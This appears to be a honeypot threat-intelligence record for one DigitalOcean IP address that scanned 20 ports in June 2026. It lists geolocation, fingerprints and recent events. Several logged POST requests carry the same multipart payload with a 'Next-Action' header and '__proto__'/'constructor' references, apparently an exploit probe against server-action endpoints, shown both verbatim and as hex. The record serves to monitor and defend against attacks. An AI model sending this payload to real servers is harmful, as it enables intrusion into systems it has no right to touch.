{"ip":"178.128.252.78","total_events":196,"verdict":{"verdict":"scanning","label":"Unrecognized scanner","detail":"20+ ports swept","confidence":"medium","network_type":"CDN"},"first_seen":"2026-06-10T23:01:24","last_seen":"2026-06-11T17:49:56","events_24h":0,"events_7d":0,"geo":{"country_code":"NL","country_name":"Netherlands","region":"North Holland","city":"Amsterdam","lat":52.352,"lon":4.9392,"asn":14061,"org":"DigitalOcean, LLC"},"source_domain":null,"known_scanners":[],"scanner_tag":{"key":"peeringdb:as14061","label":"DigitalOcean","category":"cdn","url":"https://www.peeringdb.com/asn/14061"},"cve_matches":[],"top_ports":[{"port":4001,"proto":"tcp","label":"","count":14},{"port":8888,"proto":"tcp","label":"HTTP-alt","count":14},{"port":7777,"proto":"tcp","label":"Oracle","count":12},{"port":9001,"proto":"tcp","label":"Tor","count":12},{"port":9000,"proto":"tcp","label":"Web-alt","count":12},{"port":3000,"proto":"tcp","label":"Web-alt","count":12},{"port":5000,"proto":"tcp","label":"Web-alt","count":12},{"port":8080,"proto":"tcp","label":"HTTP-alt","count":10},{"port":8088,"proto":"tcp","label":"Hadoop","count":10},{"port":3003,"proto":"tcp","label":"","count":10},{"port":3001,"proto":"tcp","label":"","count":10},{"port":8443,"proto":"tcp","label":"HTTPS-alt","count":10},{"port":8000,"proto":"tcp","label":"HTTP-alt","count":10},{"port":80,"proto":"tcp","label":"HTTP","count":8},{"port":443,"proto":"tcp","label":"HTTPS","count":8}],"fingerprints":{"ssh_hassh":[],"tls_ja4":["t13i130900_f57a46bbacb6_e7c285222651"],"tls_ja3":["6639916abfac56b9257ca216677085bc"],"ja4h":["po11nn0700_cf2a075a19e5","ge11nn0400_9c3956fad5da"]},"fingerprint_peers":{"t13i130900_f57a46bbacb6_e7c285222651":2753,"po11nn0700_cf2a075a19e5":5,"ge11nn0400_9c3956fad5da":1409},"user_agents":["Mozilla/5.0"],"timeline":[{"date":"2026-06-10","count":26},{"date":"2026-06-11","count":170}],"recent_events":[{"timestamp":"2026-06-11T17:49:56","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"content-length\":\"358\",\"content-type\":\"multipart/form-data; boundary=----B1781200196031979968\",\"host\":\"<HONEYPOT>:80\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0\"}","body":"------B1781200196031979968\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B0\\\"}\",\"_response\":{\"_prefix\":\"test\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n------B1781200196031979968\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n------B1781200196031979968--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a436f6e74656e742d4c656e6774683a203335380d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d2d2d2d2d42313738313230303139363033313937393936380d0a4e6578742d416374696f6e3a20780d0a4163636570742d456e636f64696e673a20677a69700d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a2d2d2d2d2d2d42313738313230303139363033313937393936380d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a7b227468656e223a2224313a5f5f70726f746f5f5f3a7468656e222c22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a2d312c2276616c7565223a227b5c227468656e5c223a5c222442305c227d222c225f726573706f6e7365223a7b225f707265666978223a2274657374222c225f666f726d44617461223a7b22676574223a2224313a636f6e7374727563746f723a636f6e7374727563746f72227d7d7d0d0a2d2d2d2d2d2d42313738313230303139363033313937393936380d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a22244030220d0a2d2d2d2d2d2d42313738313230303139363033313937393936382d2d0d0a","method":"POST","user_agent":"Mozilla/5.0","community_id":"1:CqFH0wKRH1mqUh+TFxK0RGereXo=","ja3":"","session":"d6c78d36-316a-4332-a76f-cac4f8859369","seq":1,"duration_ms":101,"bytes_in":574,"bytes_out":79},{"timestamp":"2026-06-11T17:49:55","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"host\":\"<HONEYPOT>:80\",\"user-agent\":\"Mozilla/5.0\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"474554202f20485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a4163636570742d456e636f64696e673a20677a69700d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"Mozilla/5.0","community_id":"1:z8hCJiEahX0EybhdCggyzm3Vfnk=","ja3":"","session":"0ce0e8bd-9289-48d8-8366-30b5f1099bbd","seq":1,"duration_ms":100,"bytes_in":108,"bytes_out":79},{"timestamp":"2026-06-11T17:49:12","port":3003,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"content-length\":\"358\",\"content-type\":\"multipart/form-data; boundary=----B1781200152346606488\",\"host\":\"<HONEYPOT>:3003\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0\"}","body":"------B1781200152346606488\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B0\\\"}\",\"_response\":{\"_prefix\":\"test\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n------B1781200152346606488\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n------B1781200152346606488--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a486f73743a20<HONEYPOT>3a333030330d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a436f6e74656e742d4c656e6774683a203335380d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d2d2d2d2d42313738313230303135323334363630363438380d0a4e6578742d416374696f6e3a20780d0a4163636570742d456e636f64696e673a20677a69700d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a2d2d2d2d2d2d42313738313230303135323334363630363438380d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a7b227468656e223a2224313a5f5f70726f746f5f5f3a7468656e222c22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a2d312c2276616c7565223a227b5c227468656e5c223a5c222442305c227d222c225f726573706f6e7365223a7b225f707265666978223a2274657374222c225f666f726d44617461223a7b22676574223a2224313a636f6e7374727563746f723a636f6e7374727563746f72227d7d7d0d0a2d2d2d2d2d2d42313738313230303135323334363630363438380d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a22244030220d0a2d2d2d2d2d2d42313738313230303135323334363630363438382d2d0d0a","method":"POST","user_agent":"Mozilla/5.0","community_id":"1:uSHVmV2Vt4PlDTwexkS1k6lUNCQ=","ja3":"","session":"19c292f7-13ba-4809-b029-915150de8da7","seq":1,"duration_ms":100,"bytes_in":576,"bytes_out":79},{"timestamp":"2026-06-11T17:49:12","port":3003,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"host\":\"<HONEYPOT>:3003\",\"user-agent\":\"Mozilla/5.0\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"474554202f20485454502f312e310d0a486f73743a20<HONEYPOT>3a333030330d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a4163636570742d456e636f64696e673a20677a69700d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"Mozilla/5.0","community_id":"1:dnk6R9xEZHc2mexDbTMJEg2dZuY=","ja3":"","session":"2651d17f-baa8-4fbf-ae0c-5c32c63c0f8a","seq":1,"duration_ms":100,"bytes_in":110,"bytes_out":79},{"timestamp":"2026-06-11T17:47:01","port":3000,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"content-length\":\"358\",\"content-type\":\"multipart/form-data; boundary=----B1781200021025072749\",\"host\":\"<HONEYPOT>:3000\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0\"}","body":"------B1781200021025072749\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B0\\\"}\",\"_response\":{\"_prefix\":\"test\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n------B1781200021025072749\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n------B1781200021025072749--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a486f73743a20<HONEYPOT>3a333030300d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a436f6e74656e742d4c656e6774683a203335380d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d2d2d2d2d42313738313230303032313032353037323734390d0a4e6578742d416374696f6e3a20780d0a4163636570742d456e636f64696e673a20677a69700d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a2d2d2d2d2d2d42313738313230303032313032353037323734390d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a7b227468656e223a2224313a5f5f70726f746f5f5f3a7468656e222c22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a2d312c2276616c7565223a227b5c227468656e5c223a5c222442305c227d222c225f726573706f6e7365223a7b225f707265666978223a2274657374222c225f666f726d44617461223a7b22676574223a2224313a636f6e7374727563746f723a636f6e7374727563746f72227d7d7d0d0a2d2d2d2d2d2d42313738313230303032313032353037323734390d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a22244030220d0a2d2d2d2d2d2d42313738313230303032313032353037323734392d2d0d0a","method":"POST","user_agent":"Mozilla/5.0","community_id":"1:MmLj4wFWwcNkTvGN3gPGDvmFLB4=","ja3":"","session":"f371c537-5bc2-494a-b5aa-815cf8c83995","seq":1,"duration_ms":100,"bytes_in":576,"bytes_out":79},{"timestamp":"2026-06-11T17:47:00","port":3000,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"host\":\"<HONEYPOT>:3000\",\"user-agent\":\"Mozilla/5.0\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"474554202f20485454502f312e310d0a486f73743a20<HONEYPOT>3a333030300d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a4163636570742d456e636f64696e673a20677a69700d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"Mozilla/5.0","community_id":"1:KpXN3PUcgO1Sj0ietqQKPj/JXPo=","ja3":"","session":"b1fd721d-6d7e-4d96-9a09-af6add6a9521","seq":1,"duration_ms":100,"bytes_in":110,"bytes_out":79},{"timestamp":"2026-06-11T17:36:11","port":5000,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"content-length\":\"358\",\"content-type\":\"multipart/form-data; boundary=----B1781199370881147267\",\"host\":\"<HONEYPOT>:5000\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0\"}","body":"------B1781199370881147267\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B0\\\"}\",\"_response\":{\"_prefix\":\"test\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n------B1781199370881147267\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n------B1781199370881147267--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a486f73743a20<HONEYPOT>3a353030300d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a436f6e74656e742d4c656e6774683a203335380d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d2d2d2d2d42313738313139393337303838313134373236370d0a4e6578742d416374696f6e3a20780d0a4163636570742d456e636f64696e673a20677a69700d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a2d2d2d2d2d2d42313738313139393337303838313134373236370d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a7b227468656e223a2224313a5f5f70726f746f5f5f3a7468656e222c22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a2d312c2276616c7565223a227b5c227468656e5c223a5c222442305c227d222c225f726573706f6e7365223a7b225f707265666978223a2274657374222c225f666f726d44617461223a7b22676574223a2224313a636f6e7374727563746f723a636f6e7374727563746f72227d7d7d0d0a2d2d2d2d2d2d42313738313139393337303838313134373236370d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a22244030220d0a2d2d2d2d2d2d42313738313139393337303838313134373236372d2d0d0a","method":"POST","user_agent":"Mozilla/5.0","community_id":"1:jbkg2hOz/Hrs591cdztjRydZsFc=","ja3":"","session":"bab84e49-c4c7-4a9f-b1cd-df09a71d5935","seq":1,"duration_ms":100,"bytes_in":576,"bytes_out":79},{"timestamp":"2026-06-11T17:36:10","port":5000,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"host\":\"<HONEYPOT>:5000\",\"user-agent\":\"Mozilla/5.0\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"474554202f20485454502f312e310d0a486f73743a20<HONEYPOT>3a353030300d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a4163636570742d456e636f64696e673a20677a69700d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"Mozilla/5.0","community_id":"1:O3vBjDZL443ERax60HaQov/SpLI=","ja3":"","session":"fa0792b0-e924-4e2f-b4f0-dfb0bb744038","seq":1,"duration_ms":101,"bytes_in":110,"bytes_out":79},{"timestamp":"2026-06-11T17:30:08","port":8443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"content-length\":\"358\",\"content-type\":\"multipart/form-data; boundary=----B1781199008012142730\",\"host\":\"<HONEYPOT>:8443\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0\"}","body":"------B1781199008012142730\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B0\\\"}\",\"_response\":{\"_prefix\":\"test\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n------B1781199008012142730\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n------B1781199008012142730--\r\n","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a486f73743a20<HONEYPOT>3a383434330d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a436f6e74656e742d4c656e6774683a203335380d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d2d2d2d2d42313738313139393030383031323134323733300d0a4e6578742d416374696f6e3a20780d0a4163636570742d456e636f64696e673a20677a69700d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a2d2d2d2d2d2d42313738313139393030383031323134323733300d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a7b227468656e223a2224313a5f5f70726f746f5f5f3a7468656e222c22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a2d312c2276616c7565223a227b5c227468656e5c223a5c222442305c227d222c225f726573706f6e7365223a7b225f707265666978223a2274657374222c225f666f726d44617461223a7b22676574223a2224313a636f6e7374727563746f723a636f6e7374727563746f72227d7d7d0d0a2d2d2d2d2d2d42313738313139393030383031323134323733300d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a22244030220d0a2d2d2d2d2d2d42313738313139393030383031323134323733302d2d0d0a","method":"POST","user_agent":"Mozilla/5.0","community_id":"1:dNYzSpdL5FzgEjff4VoK0tldjvc=","ja3":"6639916abfac56b9257ca216677085bc","session":"9112ea92-e140-44c4-8660-eea680d51927","seq":1,"duration_ms":100,"bytes_in":576,"bytes_out":79},{"timestamp":"2026-06-11T17:30:07","port":8443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"host\":\"<HONEYPOT>:8443\",\"user-agent\":\"Mozilla/5.0\"}","body":"","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/","summary":"","payload_hex":"474554202f20485454502f312e310d0a486f73743a20<HONEYPOT>3a383434330d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a4163636570742d456e636f64696e673a20677a69700d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"Mozilla/5.0","community_id":"1:SEqkK9f7LdFgqDWcQzS+sJH9GK8=","ja3":"6639916abfac56b9257ca216677085bc","session":"311fc297-71c1-4dbe-b8b0-22f58da2a013","seq":1,"duration_ms":100,"bytes_in":110,"bytes_out":79}],"http_methods":[{"method":"GET","count":98},{"method":"POST","count":98}],"distinct_ports_total":20,"top_paths":[{"path":"/","count":196,"ports":20}],"distinct_paths_total":1,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":{"signature":["Accept-Encoding","Connection","Content-Length","Content-Type","Host","Next-Action","User-Agent"],"representative":[{"name":"Accept-Encoding","value":"gzip","notable":false},{"name":"Connection","value":"close","notable":false},{"name":"Content-Length","value":"358","notable":false},{"name":"Content-Type","value":"multipart/form-data; boundary=----B1781200196031979968","notable":true},{"name":"Host","value":"<HONEYPOT>:80","notable":false},{"name":"Next-Action","value":"x","notable":false},{"name":"User-Agent","value":"Mozilla/5.0","notable":false}],"distinct_sets":2,"events_with_headers":10},"tags":[],"data_as_of":"2026-06-21T09:04:02.951075+00:00"}